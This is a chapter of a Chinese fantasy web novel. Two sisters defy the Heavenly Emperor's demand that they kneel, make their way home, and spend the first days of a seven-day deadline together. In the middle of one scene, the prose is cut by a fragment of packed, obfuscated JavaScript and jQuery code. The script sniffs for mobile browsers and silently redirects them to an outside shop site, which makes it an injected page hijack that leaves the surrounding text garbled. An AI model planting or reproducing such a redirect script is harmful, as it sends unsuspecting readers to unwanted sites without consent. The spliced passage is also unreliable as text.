金色的光芒猛地压下来,像一座山,像一片海。
冷灵的膝盖弯了一下,但只有一下,她立刻绷直了。
银白色的光芒在她身上炸开,碎成无数星屑,像有人打碎了一面镜子。
曦光也是。金红色的光被压得东倒西歪,但她咬着牙,一步也没有往后退。
她们并肩站着,顶着那铺天盖地的金光。
冷灵的嘴角甚至翘了起来,一个又冷又倔的笑。"你看,我们站着。"
天帝没有回答。他只是又抬了抬手。
金光变得更重了。
冷灵的膝盖开始发抖。银白色的光芒噼里啪啦地碎,像被碾碎的冰。曦光的金红色光也碎了大半,她开始喘气,每喘一口,胸口就疼一下。
但她们没有跪。
大殿里的仙官们大气也不敢出。
时间一点一点过去,金光越压越重,冷灵和曦光的额头上都渗出了细密的汗珠。银白色的是冷的,金红色的是热的,汗珠滴在地上,留下两行斑驳的印痕。
终于,天帝停了下来。
金光收了回去。冷灵和曦光同时晃了一下,差点摔倒。
冷灵一手撑住地,一手拽住曦光的袖子。
天帝重新坐回金色座椅上。他的声音恢复了最初的温和,但那种温和让人更冷。
"你们今天不跪,朕不勉强。但朕会给足你们时间想清楚,七天。七天之后,再来。到时候,你们是自己跪,还是朕帮你们跪,就看你们自己了。"
他摆了摆手。"送客。"
大殿两侧的仙官们让开了一条路。冷灵和曦光被"请"了出去。
不是走,是送。几个仙官跟在她们身后,一直把她们送到天庭的大门口,然后啪的一声,把门关上了。
冷灵和曦光站在门外。门关了,金线消失了,只剩下无边无际的虚空。
还有沉默。
很久。曦光先打破了沉默。
"灵……"
"嗯。"
"你的膝盖在抖。"
"……我知道。"
"我也是。"
冷灵转头看她。曦光的头发乱糟糟的,眼角还有没擦干的泪痕,金红色的光明明灭灭的,像快没电的灯。
"你还好吗?"冷灵问。
"不太好。"曦光老实地说,"腿软。"
"……我也是。"
然后两个人都沉默了。过了好一会儿,曦光忽然噗嗤一声笑了出来。
"你笑什么?"冷灵皱眉。
"我们在发抖。"
"那又怎样?"
"两个人在发抖。"曦光说,"但还是没有跪。"
冷灵愣了一瞬。她看着曦光。
她那乱糟糟的头发,湿漉漉的眼角,金红色的光缩成很小一团,像一只淋了雨的猫。但她笑了。那种笑是敞亮的、脆生生的,像刚敲开的鸡蛋壳。
"……嗯。"冷灵轻声说,"没有跪。"
曦光伸出手,拉了拉她的袖子。"走吧,回家。"
"没路了。"
"那就造一条路。"
"用什么造?"
曦光想了想。"用我的光。虽然剩得不多了。"
"你的光够走多远?"
"走一步算一步。"
冷灵看了她一眼。然后又看了一眼。
"……你什么时候学会说这种话了?"
"刚学的。跟一个叫冷灵的人学的。她说走总可以吧,走不是跪。"
冷灵没有接话。但她伸出了手,银白色的光芒从指尖涌出来,在虚空中铺成了一条细细的、摇摇晃晃的路。
"走吧。"她走在前面。
曦光跟在她身后,一脚一脚地踩着那条银白色的光路。光路又细又晃,像走钢丝。她走了几步,忽然伸手拽住了冷灵的衣角。
"干什么?"
"我怕掉下去。"
"掉下去我接着你。"
"你说话算话?"
"算。"
"拉勾?"
"你幼不幼稚?"
"拉勾。"
冷灵叹了口气,停下脚步,转过身,伸出小拇指。曦光用自己的小拇指勾住她的。
"拉勾。上吊。一百年不许变。"曦光说。
"……一百年太短了。"
"那就一万年。"
"也短。"
"那就永远。"
"永远太多。"
"那就……到你不想拉了为止。"
冷灵看着她。曦光的眼睛里,终于又有了光。
"行。"冷灵说。她转过身继续走,曦光拽着她的衣角跟在后面,银白色的光路在虚空中摇摇晃晃地延伸着。
她们走得很慢。
但没有停下。
她们走回自己天地的时候,天已经快亮了。山还是那座山,河还是那条河,门口还放着四口被留下来的锅。
曦光路过的时候踢了一口,锅滚出去老远,叮叮当当的。
"明天再去捡。"她说。
"明天再说。"
她们躺在山顶上,像很多年前一样,看着天幕上的星。
那些星星还在,一颗也没少,天帝没有收走它们。至少今天没有。
"灵。"
"嗯。"
"你说七天之后,他会怎么样?"
"不知道。"
"你觉得他会放过我们吗?"
"不会。"
"那我们怎么办?"
冷灵沉默了很久。她看着那些星星,她画过的,一颗一颗的。有些已经开始暗了,像蜡烛烧到最后一段。
"不知道。"冷灵淡淡道。
曦光没有追问。她只是把脑袋靠在冷灵的肩膀上,闭上了眼睛。
"那就明天再说。"她道。
金红色的光暗了下去,像一只小猫蜷在主人的腿上睡着了。
冷灵没有睡。
她看着星星,看着那些正在变暗的光点,忽然想到了一件事。
今天天帝说,她比你弱。
他说的时候,语气是笃定的。不是威胁,是陈述。
他说的弱是什么意思?
她看了一眼肩头的曦光。姐姐已经睡着了,呼吸很轻,金红色的光像一根将熄未熄的烛芯,在夜色中微微跳动。
冷灵轻轻握住了她的手。
"你不会比我弱。"她低声说,"你只是怕我受伤。"
这句话她没说出口。它在心里转了一圈,又沉了下去。
沉到她自己也找不到的地方。
她们以为七天很长。但其实很短。
第一天,曦光把那四口锅捡回来了。她坐在院子里洗锅,洗着洗着就开始发呆。冷灵从她身后经过,停下来看了一眼。"你在想什么?"
曦光吓了一跳,锅铲差点掉进水里。"没想什么。"
"你在发呆。"
"我在……思考锅的材质。"
"锅有什么好思考的?"
"就是思考它为什么那么容易烧穿。"
冷灵沉默了一瞬。"因为你用火烧它。"
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808640|210759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>"我是光。"
"你也是火。"
"那我应该用什么烧锅?"
"……你不用锅。你不吃饭。"
曦光被她噎住了,张了张嘴,又闭上。过了一会儿她说道:"灵,你说话能不能不这么有道理?"
"我说的本来就是道理。"
"但有时候我不想听道理。"
"那你想听什么?"
曦光歪着头想了想。"想听你说,没关系,我在这里。"
冷灵看了她一眼。"……我昨天说过了。"
"今天还没说。"
冷灵张了张嘴。银白色的光微微闪了闪。她最终说道:"……没关系。我在这里。"
曦光笑了。她把锅放下,站起来伸了个懒腰。"行。今天圆满了。"
冷灵看着她的背影,金红色的光又亮了一些,没有昨天那么缩着了,心里那根绷着的弦微微松了松。
第二天,曦光去河边喂雏鸟。那群小鸟已经长出了羽毛,扑棱着翅膀想要飞。曦光蹲在岸边,看它们一只一只地往河对岸扑腾。
"你看那只,它飞得最高。"她指着最大的一只对冷灵说。
"嗯。"
"它像不像你?"
"哪里像我?"
"都是领头的那一个。其他鸟跟着它飞。"
冷灵看了看那只鸟。确实是领头的那只,比别的都大一圈,翅膀扑得最用力,方向也最稳。"……我不领你飞。"
"你就是领我飞的那个。"曦光说,"从我们醒过来,你就一直在前面走。"
"那是因为你走得太慢。"
"我走得慢,但我跟上了。"
冷灵不说话了。她看着那几只小鸟飞过河面,翅膀在阳光下闪闪发亮。风很大,但它们没有掉下来。
第三天,她们没有出门。
曦光躺在屋顶上数云,她们自己造的云,白白的,软软的,像一大团棉花糖。她数着数着就睡着了。
冷灵坐在她旁边,翻着那卷竹简。天帝的那卷竹简。"七日之后,凌霄殿。不来,后果自负。"
她把竹简翻来覆去看了很多遍。每一个字都认得,但组合在一起,像一团揉皱了的纸,怎么都展不平。
"你怎么又看那个?"曦光迷迷糊糊地睁开眼睛。
"没什么。"
"你都看了几十遍了。"
"……我在找漏洞。"
"有什么漏洞?"
"不知道。找到了就知道了。"
曦光打了个哈欠。"那你慢慢找。我继续睡了。"
金红色的光在屋顶上铺开,像一张暖融融的毯子。冷灵坐在她旁边,银白色的光低低地拢着两个人。
第四天,曦光忽然问了一个问题。
"灵,如果我们真的打不过他呢?"
冷灵手里的竹简顿了一下。"……我们打得过。"
"万一打不过呢?"
"那就跑。"
"万一跑不掉呢?"
"那就……"
冷灵停住了。她看着曦光,金红色的光在她的眼睛里微微晃动着,像一片被风吹皱的湖面。
"……我不知道。"冷灵说。
曦光没有追问。她只是点了点头,然后继续煮那口漏锅。锅里的水从窟窿里漏出来,一滴一滴地滴在火上,发出咝咝的声音。
"这锅真的该换了。"曦光说。
"早就该换了。"
"但我舍不得。它跟了我很久。"
"一口锅有什么好舍不得的?"